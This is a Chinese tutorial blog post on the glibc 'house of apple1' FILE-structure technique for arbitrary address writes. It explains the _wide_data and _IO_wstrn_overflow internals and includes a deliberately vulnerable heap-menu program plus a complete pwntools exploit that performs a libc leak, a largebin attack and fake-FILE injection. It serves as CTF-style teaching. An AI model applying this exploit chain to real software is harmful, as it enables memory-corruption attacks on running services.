house of apple1

发布于:2025-07-19 ⋅ 阅读:(14) ⋅ 点赞:(0)

前言

house of apple1主要是用来任意地址写,而不是get shell

基本概念

查看 IO_FILE 结构体,发现其中有一个叫 _wide_data的成员

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;        //here
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

_IO_wide_data 结构体用于处理宽字符的输入输出,内部结构跟_IO_file结构体很类似

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
				   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;    //重点
};

重点在于上方标出的_wide_vtable,就像vtable一样,内部有很多函数,比如我们常见的overflow函数,只不过在这里叫做_IO_wstrn_overflow

const struct _IO_jump_t _IO_wstrn_jumps libio_vtable attribute_hidden =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_wstr_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
  JUMP_INIT(xsputn, _IO_wdefault_xsputn),
  JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
  JUMP_INIT(seekoff, _IO_wstr_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_wdefault_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

漏洞点

_IO_wstrn_overflow源码如下

static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
  _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

  if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
    {
      _IO_wsetb (fp, snf->overflow_buf,
		 snf->overflow_buf + (sizeof (snf->overflow_buf)
				      / sizeof (wchar_t)), 0);

      fp->_wide_data->_IO_write_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
      fp->_wide_data->_IO_read_end = (snf->overflow_buf
				      + (sizeof (snf->overflow_buf)
					 / sizeof (wchar_t)));
    }

  fp->_wide_data->_IO_write_ptr = snf->overflow_buf;  //重点
  fp->_wide_data->_IO_write_end = snf->overflow_buf;  //重点
  return c;
}

最后面有两个赋值,可以把snf->overflow_buf的地址写到 fp->_wide_data->_IO_write_ptrfp->_wide_data->_IO_write_end这两个地方

利用点就出现了:

  1. 本身snf->overflow_buf的地址应该是一个libc内部不可控的地址,但是如果我们进行了house of apple1的攻击,势必会劫持_IO_list_all为堆块,所以这个地址会变成一个可控的,或者我们可知道的堆地址
  2. fp->_wide_data这一步对_wide_data是没有检查的,所以我们可以改这个地址到目标地址处

这样就可以造成任意地址写了

调用链

0x4012e6 <main+352>    call   fcloseall@plt
    
0x7ffff7c88ce4 <fcloseall+4>       jmp    _IO_cleanup

► 0x7ffff7c8ebf9 <_IO_cleanup+41>    call   _IO_flush_all_lockp
    
► 0x7ffff7c8ea3f <_IO_flush_all_lockp+223>    call   qword ptr [rax + 0x18]      <_IO_wstrn_overflow>

进入_IO_wstrn_overflow后就会执行如下的内容,将snf->overflow_buf的地址填到到目标地址附近许多地址处

   0x7ffff7c82fdf <_IO_wstrn_overflow+95>     movdqa xmm0, xmmword ptr [rsp + 0x10]
   0x7ffff7c82fe5 <_IO_wstrn_overflow+101>    movups xmmword ptr [rdx], xmm1
 ► 0x7ffff7c82fe8 <_IO_wstrn_overflow+104>    movups xmmword ptr [rdx + 0x10], xmm0
   0x7ffff7c82fec <_IO_wstrn_overflow+108>    movups xmmword ptr [rdx + 0x20], xmm0

模板

fp - >_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
_wide_data = target_addr-0x18
vtable = _IO_wstrn_jumps
pwndbg> p *(struct _IO_FILE_plus *) _IO_list_all
$1 = {
  file = {
    _flags = 0,
    _IO_read_ptr = 0x521 <error: Cannot access memory at address 0x521>,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x0,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x2333b808,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x757724e15dc0 <_IO_wstrn_jumps>
}

例题

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char *chunk_list[0x100];

#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        int choice = get_num();
        switch (choice) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                fcloseall();
            default:
                puts("invalid choice.");
                return 0;
        }
    }
}

case5的fcloseall用于触发

from pwn import *
from bisect import *
context(arch='amd64',os='linux')
io=process('./io')
gdb.attach(io)
libc=ELF('./libc.so.6')
def cmd(choice):
    io.recvuntil(b'choice:\n')
    io.sendline(str(choice).encode())
def add(index,size):
    cmd(1)
    io.recvuntil(b'index:\n')
    io.sendline(str(index).encode())
    io.recvuntil(b'size:\n')
    io.sendline(str(size).encode())
def delete(index):
    cmd(2)
    io.recvuntil(b'index:\n')
    io.sendline(str(index).encode())
def edit(index,size,data):
    cmd(3)
    io.recvuntil(b'index:\n')
    io.sendline(str(index).encode())
    io.recvuntil(b'length:\n')
    io.sendline(str(size).encode())
    io.recvuntil(b'content:\n')
    io.send(data)
def show(index):
    cmd(4)
    io.recvuntil(b'index:\n')
    io.sendline(str(index).encode())
add(0,0x510)
add(1,0x20)
add(2,0x500)
add(3,0x20)
#leak libc_base
delete(0)
show(0)
leak=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x219ce0
info("libc_base: "+hex(libc_base))
#stderr=libc_base+libc.sym['_IO_2_1_stderr_']
stderr=libc_base+libc.sym['_IO_list_all']
info("stderr: "+hex(stderr))
_IO_wstrn_jumps=libc_base+0x215dc0
info("_IO_wstrn_jumps: "+hex(_IO_wstrn_jumps))
# heap_addr
delete(1)
show(1)
key=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
heap_addr=key<<12
info("heap_addr: "+hex(heap_addr))
add(1,0x20)
#largebin attack
delete(2)
add(2,0x500)
edit(0,0x20,p64(0)*3+p64(stderr-0x20))
delete(2)
add(2,0x4f0)
#restore largebin 
edit(0,0x20,p64(libc_base+0x21a110)*2+p64(heap_addr+0x290)*2)
add(0,0x510)
#fake io 
target=heap_addr+0x7f0+0x30
fake_io=flat(p64(0)*2,
                p64(0),#write_base
                p64(1),#write_ptr
                p64(0)*14,
                p64(target-0x18),
                p64(0)*6,
                p64(_IO_wstrn_jumps),
                )
edit(0,len(fake_io),fake_io)
pause()
cmd(5)
io.interactive()

在这里插入图片描述
可以看到target+0x18附近很多地址都被填入了一样的值


网站公告

今日签到

点亮在社区的每一天
去签到